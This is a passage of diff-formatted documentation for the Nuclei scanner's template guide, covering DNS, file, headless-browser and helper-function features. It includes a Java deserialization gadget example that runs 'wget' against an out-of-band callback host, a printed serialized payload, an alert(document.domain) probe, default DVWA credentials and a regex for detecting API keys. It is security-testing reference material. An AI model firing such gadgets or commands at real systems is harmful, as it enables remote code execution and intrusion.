Valid `part` values supported by **DNS** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|------------------|-----------------------------|
|
||||
| request | DNS Request |
|
||||
| rcode | DNS Rcode |
|
||||
| question | DNS Question Message |
|
||||
| extra | DNS Message Extra Field |
|
||||
| answer | DNS Message Answer Field |
|
||||
| ns | DNS Message Authority Field |
|
||||
| raw / all / body | Raw DNS Message |
|
||||
|
||||
### **Example DNS Template**
|
||||
|
||||
The final example template file for performing `A` query, and check if CNAME and A records are in the response is as follows:
|
||||
|
||||
```yaml
|
||||
id: dummy-cname-a
|
||||
|
||||
info:
|
||||
name: Dummy A dns request
|
||||
author: mzack9999
|
||||
severity: none
|
||||
description: Checks if CNAME and A record is returned.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: A
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
# The response must contain a CNAME record
|
||||
- "IN\tCNAME"
|
||||
# and also at least 1 A record
|
||||
- "IN\tA"
|
||||
condition: and
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/dns)
|
||||
106
docs/template-guide/file.mdx
Normal file
@ -0,0 +1,106 @@
|
||||
---
|
||||
title : "File"
|
||||
---
|
||||
|
||||
## File Requests
|
||||
|
||||
Nuclei allows modelling templates that can match/extract on filesystem too.
|
||||
|
||||
```yaml
|
||||
# Start of file template block
|
||||
file:
|
||||
```
|
||||
|
||||
### Extensions
|
||||
|
||||
To match on all extensions (except the ones in default denylist), use the following -
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
```
|
||||
|
||||
You can also provide a list of custom extensions that should be matched upon.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- py
|
||||
- go
|
||||
```
|
||||
|
||||
A denylist of extensions can also be provided. Files with these extensions will not be processed by nuclei.
|
||||
|
||||
```yaml
|
||||
extensions:
|
||||
- all
|
||||
|
||||
denylist:
|
||||
- go
|
||||
- py
|
||||
- txt
|
||||
```
|
||||
|
||||
By default, certain extensions are excluded in nuclei file module. A list of these is provided below-
|
||||
|
||||
```
|
||||
3g2,3gp,7z,apk,arj,avi,axd,bmp,css,csv,deb,dll,doc,drv,eot,exe,flv,gif,gifv,gz,h264,ico,iso,jar,jpeg,jpg,lock,m4a,m4v,map,mkv,mov,mp3,mp4,mpeg,mpg,msi,ogg,ogm,ogv,otf,pdf,pkg,png,ppt,psd,rar,rm,rpm,svg,swf,sys,tar,tar.gz,tif,tiff,ttf,txt,vob,wav,webm,wmv,woff,woff2,xcf,xls,xlsx,zip
|
||||
```
|
||||
|
||||
### More Options
|
||||
|
||||
**max-size** parameter can be provided which limits the maximum size (in bytes) of files read by nuclei engine.
|
||||
|
||||
As default the `max-size` value is 5 MB (5242880), Files larger than the `max-size` will not be processed.
|
||||
|
||||
-----
|
||||
|
||||
**no-recursive** option disables recursive walking of directories / globs while input is being processed for file module of nuclei.
|
||||
|
||||
### Matchers / Extractor
|
||||
|
||||
**File** protocol supports 2 types of Matchers -
|
||||
|
||||
| Matcher Type | Part Matched |
|
||||
|--------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
|
||||
| Extractors Type | Part Matched |
|
||||
|-----------------|--------------|
|
||||
| word | all |
|
||||
| regex | all |
|
||||
|
||||
### **Example File Template**
|
||||
|
||||
The final example template file for a Private Key detection is provided below.
|
||||
|
||||
```yaml
|
||||
id: google-api-key
|
||||
|
||||
info:
|
||||
name: Google API Key
|
||||
author: pdteam
|
||||
severity: info
|
||||
|
||||
file:
|
||||
- extensions:
|
||||
- all
|
||||
- txt
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: google-api-key
|
||||
regex:
|
||||
- "AIza[0-9A-Za-z\\-_]{35}"
|
||||
```
|
||||
|
||||
```bash
|
||||
# Running file template on http-response/ directory
|
||||
nuclei -t file.yaml -target http-response/
|
||||
|
||||
# Running file template on output.txt
|
||||
nuclei -t file.yaml -target output.txt
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/file)
|
||||
386
docs/template-guide/headless.mdx
Normal file
@ -0,0 +1,386 @@
|
||||
---
|
||||
title: "Headless"
|
||||
---
|
||||
|
||||
## Headless Requests
|
||||
|
||||
Nuclei supports automation of a browser with simple DSL. Headless browser engine can be fully customized and user actions can be scripted allowing complete control over the browser. This allows for a variety of unique and custom workflows.
|
||||
|
||||
```yaml
|
||||
# Start the requests for the template right here
|
||||
headless:
|
||||
```
|
||||
|
||||
### Actions
|
||||
|
||||
Action is a single piece of Task for the Nuclei Headless Engine. Each action manipulates the browser state in some way, and finally leads to the state that we are interested in capturing.
|
||||
|
||||
Nuclei supports a variety of actions. A list of these Actions along with their arguments are given below -
|
||||
|
||||
### navigate
|
||||
|
||||
Navigate visits a given URL. url field supports variables like `{{BaseURL}}`, `{{Hostname}}` to customize the request fully.
|
||||
|
||||
```yaml
|
||||
action: navigate
|
||||
args:
|
||||
url: "{{BaseURL}}
|
||||
```
|
||||
|
||||
#### script
|
||||
|
||||
Script runs a JS code on the current browser page. At the simplest level, you can just provide a `code` argument with the JS snippet you want to execute, and it will be run on the page.
|
||||
|
||||
```yaml
|
||||
action: script
|
||||
args:
|
||||
code: alert(document.domain)
|
||||
```
|
||||
|
||||
Suppose you want to run a matcher on a JS object to inspect its value. This type of data extraction use cases are also supported with nuclei headless. As an example, let's say the application sets an object called `window.random-object` with a value, and you want to match on that value.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: window.random-object
|
||||
name: script-name
|
||||
...
|
||||
matchers:
|
||||
- type: word
|
||||
part: script-name
|
||||
words:
|
||||
- "some-value"
|
||||
```
|
||||
|
||||
Nuclei supports running some custom Javascript, before the page load with the `hook` argument. This will always run the provided Javascript, before any of the pages load.
|
||||
|
||||
The example provided hooks `window.alert` so that the alerts that are generated by the application do not stop the crawler.
|
||||
|
||||
```yaml
|
||||
- action: script
|
||||
args:
|
||||
code: (function() { window.alert=function(){} })()
|
||||
hook: true
|
||||
```
|
||||
|
||||
This is one use case, there are many more use cases of function hooking such as DOM XSS Detection and Javascript-Injection based testing techniques. Further examples are provided on examples page.
|
||||
|
||||
#### click
|
||||
|
||||
Click simulates clicking with the Left-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: click
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
Nuclei supports a variety of selector types, including but not limited to XPath, Regex, CSS, etc. For more information about selectors, see [here](#selectors).
|
||||
|
||||
#### rightclick
|
||||
|
||||
RightClick simulates clicking with the Right-Mouse button on an element specified by a selector.
|
||||
|
||||
```yaml
|
||||
action: rightclick
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### text
|
||||
|
||||
Text simulates typing something into an input with Keyboard. Selectors can be used to specify the element to type in.
|
||||
|
||||
```yaml
|
||||
action: text
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: username
|
||||
```
|
||||
|
||||
#### screenshot
|
||||
|
||||
Screenshots takes the screenshots of a page and writes it to disk. It supports both full page and normal screenshots.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
```
|
||||
|
||||
If you require full page screenshot, it can be achieved with `fullpage: true` option in the args.
|
||||
|
||||
```yaml
|
||||
action: screenshot
|
||||
args:
|
||||
to: /root/test/screenshot-web
|
||||
fullpage: true
|
||||
```
|
||||
|
||||
#### time
|
||||
|
||||
Time enters values into time inputs on pages in RFC3339 format.
|
||||
|
||||
```yaml
|
||||
action: time
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: 2006-01-02T15:04:05Z07:00
|
||||
```
|
||||
|
||||
#### select
|
||||
|
||||
Select performs selection on an HTML Input by a selector.
|
||||
|
||||
```yaml
|
||||
action: select
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
selected: true
|
||||
value: option[value=two]
|
||||
selector: regex
|
||||
```
|
||||
|
||||
#### files
|
||||
|
||||
Files handles a file upload input on the webpage.
|
||||
|
||||
```yaml
|
||||
action: files
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
value: /root/test/payload.txt
|
||||
```
|
||||
|
||||
#### waitload
|
||||
|
||||
WaitLoads waits for a page to finish loading and get in Idle state.
|
||||
|
||||
```yaml
|
||||
action: waitload
|
||||
```
|
||||
|
||||
Nuclei's `waitload` action waits for DOM to load, and window.onload event to be received after which we wait for the page to become idle for 1 seconds.
|
||||
|
||||
|
||||
#### getresource
|
||||
|
||||
GetResource returns the src attribute for an element.
|
||||
|
||||
```yaml
|
||||
action: getresource
|
||||
name: extracted-value-src
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
#### extract
|
||||
|
||||
Extract extracts either the Text for an HTML Node, or an attribute as specified by the user.
|
||||
|
||||
The below code will extract the Text for the given XPath Selector Element, which can then also be matched upon by name `extracted-value` with matchers and extractors.
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
```
|
||||
|
||||
An attribute can also be extracted for an element. For example -
|
||||
|
||||
```yaml
|
||||
action: extract
|
||||
name: extracted-value-href
|
||||
args:
|
||||
by: xpath
|
||||
xpath: /html/body/div[1]/div[3]/form/div[2]/div[1]/div[1]/div/div[2]/input
|
||||
target: attribute
|
||||
attribute: href
|
||||
```
|
||||
|
||||
#### setmethod
|
||||
|
||||
SetMethod overrides the method for the request.
|
||||
|
||||
```yaml
|
||||
action: setmethod
|
||||
args:
|
||||
part: request
|
||||
method: DELETE
|
||||
```
|
||||
|
||||
#### addheader
|
||||
|
||||
AddHeader adds a header to the requests / responses. This does not overwrite any pre-existing headers.
|
||||
|
||||
```yaml
|
||||
action: addheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### setheader
|
||||
|
||||
SetHeader sets a header in the requests / responses.
|
||||
|
||||
```yaml
|
||||
action: setheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
value: "default-src * 'unsafe-inline' 'unsafe-eval' data: blob:;"
|
||||
```
|
||||
|
||||
#### deleteheader
|
||||
|
||||
DeleteHeader deletes a header from requests / responses.
|
||||
|
||||
```yaml
|
||||
action: deleteheader
|
||||
args:
|
||||
part: response # can be request too
|
||||
key: Content-Security-Policy
|
||||
```
|
||||
|
||||
#### setbody
|
||||
|
||||
SetBody sets the body for a request / response.
|
||||
|
||||
```yaml
|
||||
action: setbody
|
||||
args:
|
||||
part: response # can be request too
|
||||
body: '{"success":"ok"}'
|
||||
```
|
||||
|
||||
#### waitevent
|
||||
|
||||
WaitEvent waits for an event to trigger on the page.
|
||||
|
||||
```yaml
|
||||
action: waitevent
|
||||
args:
|
||||
event: 'Page.loadEventFired'
|
||||
```
|
||||
|
||||
The list of events supported are listed [here](https://github.com/go-rod/rod/blob/master/lib/proto/definitions.go).
|
||||
|
||||
|
||||
#### keyboard
|
||||
|
||||
Keyboard simulates a single key-press on the keyboard.
|
||||
|
||||
```yaml
|
||||
action: keyboard
|
||||
args:
|
||||
keys: '\r' # this simulates pressing enter key on keyboard
|
||||
```
|
||||
|
||||
`keys` argument accepts key-codes.
|
||||
|
||||
#### debug
|
||||
|
||||
Debug adds a delay of 5 seconds between each headless action and also shows a trace of all the headless events occurring in the browser.
|
||||
|
||||
> Note: Only use this for debugging purposes, don't use this in production templates.
|
||||
|
||||
```yaml
|
||||
action: debug
|
||||
```
|
||||
|
||||
#### sleep
|
||||
|
||||
Sleeps makes the browser wait for a specified duration in seconds. This is also useful for debugging purposes.
|
||||
|
||||
```yaml
|
||||
action: sleep
|
||||
args:
|
||||
duration: 5
|
||||
```
|
||||
|
||||
### Selectors
|
||||
|
||||
Selectors are how nuclei headless engine identifies what element to execute an action on. Nuclei supports getting selectors by including a variety of options -
|
||||
|
||||
| Selector | Description |
|
||||
|----------------------|-----------------------------------------------------|
|
||||
| `r` / `regex` | Element matches CSS Selector and Text Matches Regex |
|
||||
| `x` / `xpath` | Element matches XPath selector |
|
||||
| `js` | Return elements from a JS function |
|
||||
| `search` | Search for a query (can be text, XPATH, CSS) |
|
||||
| `selector` (default) | Element matches CSS Selector |
|
||||
|
||||
### Matchers / Extractor Parts
|
||||
|
||||
Valid `part` values supported by **Headless** protocol for Matchers / Extractor are -
|
||||
|
||||
| Value | Description |
|
||||
|-------------------|---------------------------------|
|
||||
| request | Headless Request |
|
||||
| `<out_names>` | Action names with stored values |
|
||||
| raw / body / data | Final DOM response from browser |
|
||||
|
||||
### **Example Headless Template**
|
||||
|
||||
An example headless template to automatically login into DVWA is provided below -
|
||||
|
||||
|
||||
```yaml
|
||||
id: dvwa-headless-automatic-login
|
||||
info:
|
||||
name: DVWA Headless Automatic Login
|
||||
author: pdteam
|
||||
severity: high
|
||||
headless:
|
||||
- steps:
|
||||
- args:
|
||||
url: "{{BaseURL}}/login.php"
|
||||
action: navigate
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: admin
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: click
|
||||
- action: waitload
|
||||
- args:
|
||||
by: xpath
|
||||
value: password
|
||||
xpath: /html/body/div/div[2]/form/fieldset/input[2]
|
||||
action: text
|
||||
- args:
|
||||
by: xpath
|
||||
xpath: /html/body/div/div[2]/form/fieldset/p/input
|
||||
action: click
|
||||
- action: waitload
|
||||
matchers:
|
||||
- part: resp
|
||||
type: word
|
||||
words:
|
||||
- "You have logged in as"
|
||||
```
|
||||
|
||||
More complete examples are provided [here](/template-example/headless).
|
||||
|
||||
|
||||
|
||||
238
docs/template-guide/helper-functions.mdx
Normal file
@ -0,0 +1,238 @@
|
||||
---
|
||||
title: "Helper Functions"
|
||||
---
|
||||
|
||||
### Helper functions
|
||||
|
||||
Here is the list of all supported helper functions can be used in the RAW requests / Network requests.
|
||||
|
||||
| Helper function | Description | Example | Output |
|
||||
|-----------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| aes_gcm(key, plaintext interface{}) []byte | AES GCM encrypts a string with key | `{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}` | `ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4` |
|
||||
| base64(src interface{}) string | Base64 encodes a string | `base64("Hello")` | `SGVsbG8=` |
|
||||
| base64_decode(src interface{}) []byte | Base64 decodes a string | `base64_decode("SGVsbG8=")` | `Hello` |
|
||||
| base64_py(src interface{}) string | Encodes string to base64 like python (with new lines) | `base64_py("Hello")` | `SGVsbG8=\n` |
|
||||
| bin_to_dec(binaryNumber number | string) float64 | Transforms the input binary number into a decimal format | `bin_to_dec("0b1010")`\<br>`bin_to_dec(1010)` | `10` |
|
||||
| compare_versions(versionToCheck string, constraints ...string) bool | Compares the first version argument with the provided constraints | `compare_versions('v1.0.0', '\>v0.0.1', '\<v1.0.1')` | `true` |
|
||||
| concat(arguments ...interface{}) string | Concatenates the given number of arguments to form a string | `concat("Hello", 123, "world)` | `Hello123world` |
|
||||
| contains(input, substring interface{}) bool | Verifies if a string contains a substring | `contains("Hello", "lo")` | `true` |
|
||||
| contains_all(input interface{}, substrings ...string) bool | Verifies if any input contains all of the substrings | `contains("Hello everyone", "lo", "every")` | `true` |
|
||||
| contains_any(input interface{}, substrings ...string) bool | Verifies if an input contains any of substrings | `contains("Hello everyone", "abc", "llo")` | `true` |
|
||||
| date_time(dateTimeFormat string, optionalUnixTime interface{}) string | Returns the formatted date time using simplified or `go` style layout for the current or the given unix time | `date_time("%Y-%M-%D %H:%m")`\<br\>`date_time("%Y-%M-%D %H:%m", 1654870680)`\<br\>`date_time("2006-01-02 15:04", unix_time())` | `2022-06-10 14:18` |
|
||||
| dec_to_hex(number number | string) string | Transforms the input number into hexadecimal format | `dec_to_hex(7001)"` | `1b59` |
|
||||
| ends_with(str string, suffix ...string) bool | Checks if the string ends with any of the provided substrings | `ends_with("Hello", "lo")` | `true` |
|
||||
| generate_java_gadget(gadget, cmd, encoding interface{}) string | Generates a Java Deserialization Gadget | `generate_java_gadget("dns", "{{interactsh-url}}", "base64")` | `rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54` |
|
||||
| generate_jwt(json, algorithm, signature, unixMaxAge) []byte | Generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm | `generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")` | `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U` |
|
||||
| gzip(input string) string | Compresses the input using GZip | `base64(gzip("Hello"))` | `+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=` |
|
||||
| gzip_decode(input string) string | Decompresses the input using GZip | `gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))` | `Hello` |
|
||||
| hex_decode(input interface{}) []byte | Hex decodes the given input | `hex_decode("6161")` | `aa` |
|
||||
| hex_encode(input interface{}) string | Hex encodes the given input | `hex_encode("aa")` | `6161` |
|
||||
| hex_to_dec(hexNumber number | string) float64 | Transforms the input hexadecimal number into decimal format | `hex_to_dec("ff")`\<br\>`hex_to_dec("0xff")` | `255` |
|
||||
| hmac(algorithm, data, secret) string | hmac function that accepts a hashing function type with data and secret | `hmac("sha1", "test", "scrt")` | `8856b111056d946d5c6c92a21b43c233596623c6` |
|
||||
| html_escape(input interface{}) string | HTML escapes the given input | `html_escape("\<body\>test\</body\>")` | `<body>test</body>` |
|
||||
| html_unescape(input interface{}) string | HTML un-escapes the given input | `html_unescape("<body>test</body>")` | `\<body\>test\</body\>` |
|
||||
| join(separator string, elements ...interface{}) string | Joins the given elements using the specified separator | `join("_", 123, "hello", "world")` | `123_hello_world` |
|
||||
| json_minify(json) string | Minifies a JSON string by removing unnecessary whitespace | `json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")` | `{"foo":"bar","name":"John Doe"}` |
|
||||
| json_prettify(json) string | Prettifies a JSON string by adding indentation | `json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")` | `{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}` |
|
||||
| len(arg interface{}) int | Returns the length of the input | `len("Hello")` | `5` |
|
||||
| line_ends_with(str string, suffix ...string) bool | Checks if any line of the string ends with any of the provided substrings | `line_ends_with("Hello\nHi", "lo")` | `true` |
|
||||
| line_starts_with(str string, prefix ...string) bool | Checks if any line of the string starts with any of the provided substrings | `line_starts_with("Hi\nHello", "He")` | `true` |
|
||||
| md5(input interface{}) string | Calculates the MD5 (Message Digest) hash of the input | `md5("Hello")` | `8b1a9953c4611296a827abf8c47804d7` |
|
||||
| mmh3(input interface{}) string | Calculates the MMH3 (MurmurHash3) hash of an input | `mmh3("Hello")` | `316307400` |
|
||||
| oct_to_dec(octalNumber number | string) float64 | Transforms the input octal number into a decimal format | `oct_to_dec("0o1234567")`\<br\>`oct_to_dec(1234567)` | `342391` |
|
||||
| print_debug(args ...interface{}) | Prints the value of a given input or expression. Used for debugging. | `print_debug(1+2, "Hello")` | `3 Hello` |
|
||||
| rand_base(length uint, optionalCharSet string) string | Generates a random sequence of given length string from an optional charset (defaults to letters and numbers) | `rand_base(5, "abc")` | `caccb` |
|
||||
| rand_char(optionalCharSet string) string | Generates a random character from an optional character set (defaults to letters and numbers) | `rand_char("abc")` | `a` |
|
||||
| rand_int(optionalMin, optionalMax uint) int | Generates a random integer between the given optional limits (defaults to 0 - MaxInt32) | `rand_int(1, 10)` | `6` |
|
||||
| rand_text_alpha(length uint, optionalBadChars string) string | Generates a random string of letters, of given length, excluding the optional cutset characters | `rand_text_alpha(10, "abc")` | `WKozhjJWlJ` |
|
||||
| rand_text_alphanumeric(length uint, optionalBadChars string) string | Generates a random alphanumeric string, of given length without the optional cutset characters | `rand_text_alphanumeric(10, "ab12")` | `NthI0IiY8r` |
|
||||
| rand_ip(cidr ...string) string | Generates a random IP address | `rand_ip("192.168.0.0/24")` | `192.168.0.171` |
|
||||
| rand_text_numeric(length uint, optionalBadNumbers string) string | Generates a random numeric string of given length without the optional set of undesired numbers | `rand_text_numeric(10, 123)` | `0654087985` |
|
||||
| regex(pattern, input string) bool | Tests the given regular expression against the input string | `regex("H([a-z]+)o", "Hello")` | `true` |
|
||||
| remove_bad_chars(input, cutset interface{}) string | Removes the desired characters from the input | `remove_bad_chars("abcd", "bc")` | `ad` |
|
||||
| repeat(str string, count uint) string | Repeats the input string the given amount of times | `repeat("../", 5)` | `../../../../../` |
|
||||
| replace(str, old, new string) string | Replaces a given substring in the given input | `replace("Hello", "He", "Ha")` | `Hallo` |
|
||||
| replace_regex(source, regex, replacement string) string | Replaces substrings matching the given regular expression in the input | `replace_regex("He123llo", "(\\d+)", "")` | `Hello` |
|
||||
| reverse(input string) string | Reverses the given input | `reverse("abc")` | `cba` |
|
||||
| sha1(input interface{}) string | Calculates the SHA1 (Secure Hash 1) hash of the input | `sha1("Hello")` | `f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0` |
|
||||
| sha256(input interface{}) string | Calculates the SHA256 (Secure Hash 256) hash of the input | `sha256("Hello")` | `185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969` |
|
||||
| starts_with(str string, prefix ...string) bool | Checks if the string starts with any of the provided substrings | `starts_with("Hello", "He")` | `true` |
|
||||
| to_lower(input string) string | Transforms the input into lowercase characters | `to_lower("HELLO")` | `hello` |
|
||||
| to_unix_time(input string, layout string) int | Parses a string date time using default or user given layouts, then returns its Unix timestamp | `to_unix_time("2022-01-13T16:30:10+00:00")`\<br\>`to_unix_time("2022-01-13 16:30:10")`\<br\>`to_unix_time("13-01-2022 16:30:10". "02-01-2006 15:04:05")` | `1642091410` |
|
||||
| to_upper(input string) string | Transforms the input into uppercase characters | `to_upper("hello")` | `HELLO` |
|
||||
| trim(input, cutset string) string | Returns a slice of the input with all leading and trailing Unicode code points contained in cutset removed | `trim("aaaHelloddd", "ad")` | `Hello` |
|
||||
| trim_left(input, cutset string) string | Returns a slice of the input with all leading Unicode code points contained in cutset removed | `trim_left("aaaHelloddd", "ad")` | `Helloddd` |
|
||||
| trim_prefix(input, prefix string) string | Returns the input without the provided leading prefix string | `trim_prefix("aaHelloaa", "aa")` | `Helloaa` |
|
||||
| trim_right(input, cutset string) string | Returns a string, with all trailing Unicode code points contained in cutset removed | `trim_right("aaaHelloddd", "ad")` | `aaaHello` |
|
||||
| trim_space(input string) string | Returns a string, with all leading and trailing white space removed, as defined by Unicode | `trim_space(" Hello ")` | `"Hello"` |
|
||||
| trim_suffix(input, suffix string) string | Returns input without the provided trailing suffix string | `trim_suffix("aaHelloaa", "aa")` | `aaHello` |
|
||||
| unix_time(optionalSeconds uint) float64 | Returns the current Unix time (number of seconds elapsed since January 1, 1970 UTC) with the added optional seconds | `unix_time(10)` | `1639568278` |
|
||||
| url_decode(input string) string | URL decodes the input string | `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")` | `https://projectdiscovery.io?test=1` |
|
||||
| url_encode(input string) string | URL encodes the input string | `url_encode("https://projectdiscovery.io/test?a=1")` | `https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1` |
|
||||
| wait_for(seconds uint) | Pauses the execution for the given amount of seconds | `wait_for(10)` | `true` |
|
||||
| zlib(input string) string | Compresses the input using Zlib | `base64(zlib("Hello"))` | `eJzySM3JyQcEAAD//wWMAfU=` |
|
||||
| zlib_decode(input string) string | Decompresses the input using Zlib | `zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))` | `Hello` |
|
||||
|resolve(host string, format string) string |Resolves a host using a dns type that you define| `resolve("localhost",4)`| `127.0.0.1`|
|
||||
|ip_format(ip string, format string) string|It takes an input ip and converts it to another format according to this [legend](https://github.com/projectdiscovery/mapcidr/wiki/IP-Format-Index), the second parameter indicates the conversion index and must be between 1 and 11| `ip_format("127.0.0.1", 3)`| `0177.0.0.01`|
|
||||
|
||||
### Deserialization helper functions
|
||||
|
||||
Nuclei allows payload generation for a few common gadget from [ysoserial](https://github.com/frohoff/ysoserial).
|
||||
|
||||
**Supported Payload:**
|
||||
|
||||
- `dns` (URLDNS)
|
||||
- `commons-collections3.1`
|
||||
- `commons-collections4.0`
|
||||
- `jdk7u21`
|
||||
- `jdk8u20`
|
||||
- `groovy1`
|
||||
|
||||
**Supported encodings:**
|
||||
|
||||
- `base64` (default)
|
||||
- `gzip-base64`
|
||||
- `gzip`
|
||||
- `hex`
|
||||
- `raw`
|
||||
|
||||
**Deserialization helper function format:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget(payload, cmd, encoding}}
|
||||
```
|
||||
|
||||
**Deserialization helper function example:**
|
||||
|
||||
```yaml
|
||||
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
|
||||
```
|
||||
### JSON helper functions
|
||||
|
||||
Nuclei allows manipulate JSON strings in different ways, here is a list of its functions:
|
||||
|
||||
- `generate_jwt`, to generates a JSON Web Token (JWT) using the claims provided in a JSON string, the signature, and the specified algorithm.
|
||||
- `json_minify`, to minifies a JSON string by removing unnecessary whitespace.
|
||||
- `json_prettify`, to prettifies a JSON string by adding indentation.
|
||||
|
||||
**Examples**
|
||||
|
||||
**`generate_jwt`**
|
||||
|
||||
To generate a JSON Web Token (JWT), you have to supply the JSON that you want to sign, _at least_.
|
||||
|
||||
Here is a list of supported algorithms for generating JWTs with `generate_jwt` function _(case-insensitive)_:
|
||||
|
||||
- `HS256`
|
||||
- `HS384`
|
||||
- `HS512`
|
||||
- `RS256`
|
||||
- `RS384`
|
||||
- `RS512`
|
||||
- `PS256`
|
||||
- `PS384`
|
||||
- `PS512`
|
||||
- `ES256`
|
||||
- `ES384`
|
||||
- `ES512`
|
||||
- `EdDSA`
|
||||
- `NONE`
|
||||
|
||||
Empty string ("") also means `NONE`.
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{generate_jwt(json, algorithm, signature, maxAgeUnix)}}
|
||||
```
|
||||
|
||||
> Arguments other than `json` are optional.
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
variables:
|
||||
json: | # required
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
alg: "HS256" # optional
|
||||
sig: "this_is_secret" # optional
|
||||
age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # optional
|
||||
jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'
|
||||
```
|
||||
|
||||
> The `maxAgeUnix` argument is to set the expiration `"exp"` JWT standard claim, as well as the `"iat"` claim when you call the function.
|
||||
|
||||
**`json_minify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_minify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: |
|
||||
{
|
||||
"foo": "bar",
|
||||
"name": "John Doe"
|
||||
}
|
||||
minify: '{{json_minify(json}}'
|
||||
```
|
||||
|
||||
`minify` variable output:
|
||||
|
||||
```json
|
||||
{"foo":"bar","name":"John Doe"}
|
||||
```
|
||||
|
||||
**`json_prettify`**
|
||||
|
||||
Format:
|
||||
|
||||
```yaml
|
||||
{{json_prettify(json)}}
|
||||
```
|
||||
|
||||
Example:
|
||||
|
||||
```yaml
|
||||
variables:
|
||||
json: '{"foo":"bar","name":"John Doe"}'
|
||||
pretty: '{{json_prettify(json}}'
